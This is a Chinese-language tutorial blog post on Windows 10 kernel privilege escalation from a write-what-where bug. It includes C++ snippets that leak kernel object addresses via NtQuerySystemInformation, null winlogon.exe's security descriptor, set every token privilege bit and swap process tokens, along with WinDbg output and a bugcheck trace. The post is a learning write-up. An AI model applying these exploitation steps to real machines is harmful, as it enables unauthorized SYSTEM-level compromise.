其实很多的漏洞利用,最终都是为了转换成这个漏洞——任意位置读写。所以我们首先要有一个概念就是,当我们获得了一个WWW类型的漏洞的时候,我们需要做什么。这里我们借助这一篇文章一起来学习一下,当进行内核提权的时候,我们究竟需要做什么。
如果获得了WWW(Write-What-Where)
当我们通过IOCTL等各种方式与内核模块发生了交互的时候,我们实际上就拥有了从usermode向kernelmode发起交互的能力,这个状态其实就类似用户态下,用户与应用能够进行交互。此时便可以通过巧妙的构造交互poc,来实现对一些漏洞的利用。当我们拥有一个WWW漏洞的时候,为了提权,此时实际上我们希望做到的事情是
能够将一个由我们控制的进程权限,提升到我们想要让它达到的权限上去
非常重要的一点是,我们需要明白此时的我们需要的目的是什么。也就是说
并不是单纯追求system shell,而是在保证系统稳定的前提下,获得我们想要的权限
这点很重要。前几次的攻击练习中,我单纯的以为kernel exploit
就是将某个进程的PROCESS TOKEN复制到当前进程
。如果需要做到这一步的话,那么实际上意味着我们此时的攻击需要能够执行shellcode。类比一下的话,就好像在玩一个简单的linux 下的elf pwn题,但此时我们非要获得一个函数指针来完成最后的一击(虽然有些时候确实是这么玩的),或者是关闭了NX
的栈溢出,然后等待着jmp esp
之类奇怪指令的出现。
但是!如果我们只是为了获得想要的权限的话,不如从源头出发,也就是考虑Windows下的各种权限都是怎么得到的呢?。进一步来说,为什么winlogon.exe
这个程序的权限这么高,而我们自己启动的cmd.exe
能做到的事情那么少;为什么windbg.exe
却好像能够跨过某些障碍进行调试呢?其实这就是之前提到过的Windows权限管理实现的。简单来说,就是以下两个特性:
- Access Right: 访问控制
- Privilege: 特权
这两个特性控制了Windows下的权限,而当我们想要进行越权操作的时候,实际上我们就是企图控制一个进程的权限控制模块。当获得了一个WWW
类型漏洞,我们实际上应该是尝试修改当前进程的权限管理对象,说白了,也就是一些存放在内核中的系统变量。
从 NtQuerySystemInformation 开始的故事
Windows的NtQuery*
API系列其实能做的事情比他文档中写出来的多得多,其中最厉害的就是这个NtQuerySystemInformation
,这个API能够返回一些系统级别的内存对象,例如:
- 当前系统进程/线程信息
- 当前页文件使用状况/缓存使用情况
- 系统的一些中断信息
简直就像是一个后门函数了(笑)
这里我们关注一个叫做SystemHandleInformation
类型的数据,通过传入这个参数,我们能够获得当前进程中的每一个句柄的使用情况:
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
其中句柄的结构长这个样子:
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
这个地方记录了当前进程中,所有会使用到的句柄。注意是所有,换句话说,有些句柄可能并不是当前进程打开的,也会记录在这边,例如一些其他线程的APC,又或者是别的进程拷贝过来的句柄等。
句柄的结构体如下:
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId; // 当前句柄属于的进程
UCHAR ObjectTypeNumber; // 当前句柄的类型
UCHAR Flags;
USHORT Handle; // 当前句柄的句柄号
void* Object; // 当前句柄实际对象的地址
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
Windows大部分时候都是直接使用句柄这个概念与上层进行交互的,所以并不会将内核对象暴露给用户。不过,当我们能够查询到句柄表之后,通过这个结构体,我们就能够直接拿到句柄真正对应的对象,然后对句柄对应的内容进行修改。
插曲:ObjectTypeNumber的对应关系
上述可以看到,那个ObjectTypeNumber
其实表示的是当前句柄的类型,不过我上网查到的很多资料都有问题,所以这里我们自己整理一份对应关系。首先这边的大佬帮忙整理了在Win10中,不同的Object在内存中的组织形式发生了什么样的变化,简单来说,在早期的windows系统中,通过查看_OBJECT_HEADER
是能够知道当前的对象类型的,但是win10修改了,其计算放在这个函数上:
1: kd> uf nt!ObGetObjectType
nt!ObGetObjectType:
81e13e44 8bff mov edi,edi
81e13e46 55 push ebp
81e13e47 8bec mov ebp,esp
81e13e49 8b4d08 mov ecx,dword ptr [ebp+8]
81e13e4c 8d41e8 lea eax,[ecx-18h]
81e13e4f 0fb649f4 movzx ecx,byte ptr [ecx-0Ch]
81e13e53 c1e808 shr eax,8
81e13e56 0fb6c0 movzx eax,al
81e13e59 33c1 xor eax,ecx
81e13e5b 0fb60dd824d081 movzx ecx,byte ptr [nt!ObHeaderCookie (81d024d8)]
81e13e62 33c1 xor eax,ecx
81e13e64 8b0485e024d081 mov eax,dword ptr nt!ObTypeIndexTable (81d024e0)[eax*4]
81e13e6b 5d pop ebp
81e13e6c c20400 ret 4
稍微逆向一下就知道,现在想要通过_OBJECT_HEADER
知道当前对象的类型,就得用这个算式:
nt!ObTypeIndexTable[(当前objectheader的地址的第二个字节^TypeIndex^poi(nt!ObHeaderCookie)最低字节)*4]
这里举个例子。比如我们想要知道的TOKEN
这个对象的objectheader长这样:
1: kd> dt _Object_header 8bfd1888
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n33
+0x004 HandleCount : 0n2
+0x004 NextToFree : 0x00000002 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x8e ''
+0x00d TraceFlags : 0 ''
+0x00d DbgRefTrace : 0y0
+0x00d DbgTracePermanent : 0y0
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0x2 ''
+0x00f NewObject : 0y0
+0x00f KernelObject : 0y1
+0x00f KernelOnlyAccess : 0y0
+0x00f ExclusiveObject : 0y0
+0x00f PermanentObject : 0y0
+0x00f DefaultSecurityQuota : 0y0
+0x00f SingleHandleEntry : 0y0
+0x00f DeletedInline : 0y0
+0x010 ObjectCreateInfo : 0x8d2952c0 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x8d2952c0 Void
+0x014 SecurityDescriptor : 0xa7a779d2 Void
+0x018 Body : _QUAD
那么我们此时计算的值就是:
1: kd> ? (0x18^0x8e^0x93)
Evaluate expression: 5 = 00000005
最终我们检查内存中的形式:
1: kd> dt nt!_object_type poi(nt!ObTypeIndexTable + (0x5*4))
+0x000 TypeList : _LIST_ENTRY [ 0x8639bbd0 - 0x8639bbd0 ]
+0x008 Name : _UNICODE_STRING "Token"
+0x010 DefaultObject : 0x81cb60f0 Void
+0x014 Index : 0x5 ''
+0x018 TotalNumberOfObjects : 0x9f0
+0x01c TotalNumberOfHandles : 0x396
+0x020 HighWaterNumberOfObjects : 0xa59
+0x024 HighWaterNumberOfHandles : 0x3d6
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x080 TypeLock : _EX_PUSH_LOCK
+0x084 Key : 0x656b6f54
+0x088 CallbackList : _LIST_ENTRY [ 0x8639bc58 - 0x8639bc58 ]
这个object确实是token,证明了我们的猜测。
并且我们可以看到,这个计算的结果5其实正好就是ObjectTypeNumber
,这边大致也整理了一遍这个ObjectTypeNumber
,这次只用在win10上
typedef enum _SYSTEM_HANDLE_TYPE
{
OB_TYPE_TYPE = 2,
Directory = 3,
SymbolicLink,
Token,
Job,
Process,
Thread,
Partition,
UserApcReserve,
IoCompletionReserve,
ActivityReference,
PsSiloContextPaged,
PsSiloContextNonPaged,
DebugObject,
Event,
Mutant,
Callback,
Semaphore,
Timer,
IRTimer,
Profile,
KeyedEvent,
WindowStation,
Desktop,
Composition,
RawInputManager,
CoreMessaging,
ActivationObject,
TpWorkerFactory,
Adapter,
Controller,
Device,
Driver,
IoCompletion,
WaitCompletionPacket,
File,
TmTm
}
大约常用的就已经列在这边,如果有需要的话,可以写一个demo来故意创建某个文件,然后再用前文的方法来查找对应的kernel object即可。
需要修改哪些地方呢
我们之前提到说,想要提权,可以从如下两个角度去入手:
- Access Right: 访问控制
- Privilege: 特权
那假设我们可以控制一些变量来修改这个值(而不是通过控制kernel code的执行),我们可以从如下的角度去考虑
- 我们是否可以移除一个windows object的所有ACLs?
- 我们是否可以给一个进程token任意的特权?
- 我们是否可以替换掉一个进程的token?
其中第一条是针对Access Right
的攻击手段,第二三条则是Privilege
的相关攻击手段。那么我们一条条来分析可行性
方法一:ACLs的修改
Windows底下有一条很有趣的规矩:
如果一个对象的ACLs是空的,那么这个对象将被视为可以被任意权限的任意对象进行任意访问。而如果ACLs被初始化为空(empty),那么将视为当前对象没有被赋予任何的被访问的权限,所以不能被任何对象以任何权限访问
总的来说,区别就体现在结构体的这个地方:
1: kd> dt _Object_header 8bfd1888
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n33
+0x004 HandleCount : 0n2
+0x004 NextToFree : 0x00000002 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x8e ''
+0x00d TraceFlags : 0 ''
+0x00d DbgRefTrace : 0y0
+0x00d DbgTracePermanent : 0y0
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0x2 ''
+0x00f NewObject : 0y0
+0x00f KernelObject : 0y1
+0x00f KernelOnlyAccess : 0y0
+0x00f ExclusiveObject : 0y0
+0x00f PermanentObject : 0y0
+0x00f DefaultSecurityQuota : 0y0
+0x00f SingleHandleEntry : 0y0
+0x00f DeletedInline : 0y0
+0x010 ObjectCreateInfo : 0x8d2952c0 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x8d2952c0 Void
+0x014 SecurityDescriptor : 0xa7a779d2 Void <------------- 注意这里
+0x018 Body : _QUAD
SecurityDescriptor
这个对象当指向的内容为空的时候,就是我们提到的第一种情况,也就是当前对象变成可以被任意对象访问。
实践:利用WWW漏洞修改winlogon.exe进程对象的访问控制权限
我们知道,winlogon.exe
这个进程的权限特别的高,那我们能不能通过找到这个进程的EPROCESS
对应的object_header
,将其中的DACL给改成空的,那不就相当于无论当前操作的权限有多低,都能够对当前进程注入?我们这边稍微实验一下:
// first, we should open target process on our processPROCESSENTRY32 entry;
DWORD dwPid = GetProcessID(L"winlogon.exe");
printf("the winlogon.exe pid is 0x%x\n", dwPid);
// then, we try to open a handle
HANDLE hTarget = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid);
if (!hTarget) {
std::cout << "Open winlogon.exe failed" << std::endl;
return false;
}
// next, we try to open this eprocess address at kernel
DWORD dwEPROCESS = GetKernelPointer(hTarget, 0x7);
DWORD dwObjectHeader = dwEPROCESS - 0x18;
printf("[+] winlogon.exe eprocess addr [0x%x], the object addr [0x%x] and the dacl addr [0x%x]\n", dwEPROCESS, dwObjectHeader, dwObjectHeader + 0x14);
// here we try to change the dacl to another one
WrtieWhatWhere *WWW = (WrtieWhatWhere*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WrtieWhatWhere));
DWORD dwTargetOffset = dwEPROCESS - 0x4;
DWORD dwRetSize = 0;
WWW->Where = (ULONG_PTR)dwTargetOffset;
//std::cout << "Base address:" << dwBaseAddress << " ExOffset:" << ulExAllocatePool;
UINT64 uAllPrivelage = 0;
WWW->What = (ULONG_PTR)&uAllPrivelage;
// WWW->What = (ULONG)&dwRealExAllocatePool;
// copy exp to target address
std::cout << "Now we will write[" << WWW->Where << "]:" << *(ULONG*)(WWW->What) << std::endl;
// Call the WWW vulnerability to write the target address
Vunelrable(WWW);
// now because the dacl has been changed, we guess this process may could be inject
// Tro to inject code
InjectToWinlogon();
HeapFree(GetProcessHeap(), 0, WWW);
return true;
结果如下:
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000189
(0x8D1D9028,0x8639B480,0x00000001,0x00000000)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!RtlpBreakWithStatusInstruction:
81b66484 cc int 3
1: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
BAD_OBJECT_HEADER (189)
The OBJECT_HEADER has been corrupted
Arguments:
Arg1: 8d1d9028, Pointer to bad OBJECT_HEADER
Arg2: 8639b480, Pointer to the resulting OBJECT_TYPE based on the TypeIndex in the OBJECT_HEADER
Arg3: 00000001, The object security descriptor is invalid.
Arg4: 00000000, Reserved.
Debugging Details:
------------------
非常遗憾,没有生效,上网检查了一下,发现其实是Win10给出的一种攻击的缓解手段。在Win10上,EPROCESS这个对象的_OBJECT_HEADER
中指向DS的指针是不能为空的,否则就会报错,具体可以看这里。这篇文章还介绍了一下如何绕过这个防护,继续利用dacl进行攻击。利用的思路就是修改成了:通过修改winlogon.exe中的AECs(访问控制实体),让其进程允许来自任意SID token 的用户修改,然后再进行inject即可。具体可参考链接里面给出的方法,这边就不演示了。
方法二:TOKEN结构体
前面介绍了ACL的攻击方式,那么这次我们回到TOKEN上面,介绍一下修改token的攻击。之前我们提到说,想要提权,其实就是修改这个TOKEN结构体的成员变量。这个结构体在WIN10中结构如下:
1: kd> dt nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER
+0x030 TokenLock : Ptr32 _ERESOURCE
+0x034 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x078 SessionId : Uint4B
+0x07c UserAndGroupCount : Uint4B
+0x080 RestrictedSidCount : Uint4B
+0x084 VariableLength : Uint4B
+0x088 DynamicCharged : Uint4B
+0x08c DynamicAvailable : Uint4B
+0x090 DefaultOwnerIndex : Uint4B
+0x094 UserAndGroups : Ptr32 _SID_AND_ATTRIBUTES
+0x098 RestrictedSids : Ptr32 _SID_AND_ATTRIBUTES
+0x09c PrimaryGroup : Ptr32 Void
+0x0a0 DynamicPart : Ptr32 Uint4B
+0x0a4 DefaultDacl : Ptr32 _ACL
+0x0a8 TokenType : _TOKEN_TYPE
+0x0ac ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL
+0x0b0 TokenFlags : Uint4B
+0x0b4 TokenInUse : UChar
+0x0b8 IntegrityLevelIndex : Uint4B
+0x0bc MandatoryPolicy : Uint4B
+0x0c0 LogonSession : Ptr32 _SEP_LOGON_SESSION_REFERENCES
+0x0c4 OriginatingLogonSession : _LUID
+0x0cc SidHash : _SID_AND_ATTRIBUTES_HASH
+0x154 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1dc pSecurityAttributes : Ptr32 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1e0 Package : Ptr32 Void
+0x1e4 Capabilities : Ptr32 _SID_AND_ATTRIBUTES
+0x1e8 CapabilityCount : Uint4B
+0x1ec CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH
+0x274 LowboxNumberEntry : Ptr32 _SEP_LOWBOX_NUMBER_ENTRY
+0x278 LowboxHandlesEntry : Ptr32 _SEP_CACHED_HANDLES_ENTRY
+0x27c pClaimAttributes : Ptr32 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION
+0x280 TrustLevelSid : Ptr32 Void
+0x284 TrustLinkedToken : Ptr32 _TOKEN
+0x288 IntegrityLevelSidValue : Ptr32 Void
+0x28c TokenSidValues : Ptr32 _SEP_SID_VALUES_BLOCK
+0x290 IndexEntry : Ptr32 _SEP_LUID_TO_INDEX_MAP_ENTRY
+0x294 DiagnosticInfo : Ptr32 _SEP_TOKEN_DIAG_TRACK_ENTRY
+0x298 BnoIsolationHandlesEntry : Ptr32 _SEP_CACHED_HANDLES_ENTRY
+0x29c SessionObject : Ptr32 Void
+0x2a0 VariablePart : Uint4B
这其中最关键的就是
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
这个位置记录了当前进程的特权。特权的结构如下:
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B
Windows运行过程中,实际上是检查了Enabled
这个位置的特权。换句话说,如果这个位置的特权都打开了,那么当前进程将会获得所有类型的特权。这里给出一个大概的例子:
// New Method
HANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!hCurrentProcess) {
std::cout << "[-] Open Current process faiiled" << std::endl;
return;
}
HANDLE hToken = 0;
// the TOKEN_ADJUST_PRIVILEGES will enable/disable the privelage token
if (!OpenProcessToken(hCurrentProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) {
std::cout << "[-] Couldn't get curr ent process token" << std::endl;
return;
}
// The 0x5 is what??????
DWORD kToken = GetKernelPointer(hToken, 0x5);
DWORD dwTargetOffset = kToken + 0x48;
std::cout << "The target token offest is " << dwTargetOffset << std::endl;
WrtieWhatWhere *WWW = (WrtieWhatWhere*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WrtieWhatWhere));
WWW->Where = (ULONG_PTR)dwTargetOffset;
//std::cout << "Base address:" << dwBaseAddress << " ExOffset:" << ulExAllocatePool;
UINT64 uAllPrivelage= 0xffffffffffffffff;
WWW->What = (ULONG_PTR)&uAllPrivelage;
// Call the WWW vulnerability to write the target address
Vunelrable(WWW);
// now because the dacl has been changed, we guess this process may could be inject
// Tro to inject code
InjectToWinlogon();
方法三:替换TOKEN
这个方法其实是目前最为广泛使用的方法,也就是比较简单的替换到EPROCESS中的这个地方:
0: kd> dt nt!_EPROCESS
//....
+0x0d8 ProcessQuotaUsage : [2] Uint4B
+0x0e0 ProcessQuotaPeak : [2] Uint4B
+0x0e8 PeakVirtualSize : Uint4B
+0x0ec VirtualSize : Uint4B
+0x0f0 SessionProcessLinks : _LIST_ENTRY
+0x0f8 ExceptionPortData : Ptr32 Void
+0x0f8 ExceptionPortValue : Uint4B
+0x0f8 ExceptionPortState : Pos 0, 3 Bits
+0x0fc Token : _EX_FAST_REF <------------修改这里
不过修改这个地方的话,之前的做法比较无脑,一般就是:
- 找到一个超高权限的进程,例如system
- 将其token复制过来,覆盖当前进程的token
这个做法其实有点问题。我们看到token这个玩意儿的结构体:
typedef struct _EX_FAST_REF
{
union
{
PVOID Object;
ULONG RefCnt: 3;
ULONG Value;
};
} EX_FAST_REF, *PEX_FAST_REF;
可以看到,它虽然是一个指针,但是低3bit是用来表示当前对象的引用次数的。换句话说,如果我们真的拷贝了某一个token的话,其实还需要将当前token 的refCnt
数量给修改了,不然当被我们拷贝的那个进程结束的时候,token本身也就会被销毁,从而导致BSoD。不过,我们可以看到之前提到的那个_OBJECT_HEADER
,当我们修改这个结构体中的PointerCount
的时候,系统就会认为当前对象的引用计数+1,从而放指bsod。
1: kd> dt _Object_header 8bfd1888
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n33
+0x004 HandleCount : 0n2
参考的文章中提供了一种比较常见的利用思路
- 通过hook
NtOpenThreadToken()
,然后调用MsiInstallProduct()
API(需要中级的权限)来截获SystemToken - 当我们有多次写的能力的时候,我们需要首先将
TOKEN-0x18
(也就是PointerCount)数量+1,之后再修改当前进程token为这个token - 如果只有单次写能力的时候,首先选择一个不太可能结束的进程(例如system),修改完当前进程的token之后,马上从这个不太可能结束的进程中复制两个token的句柄。
参考链接
http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf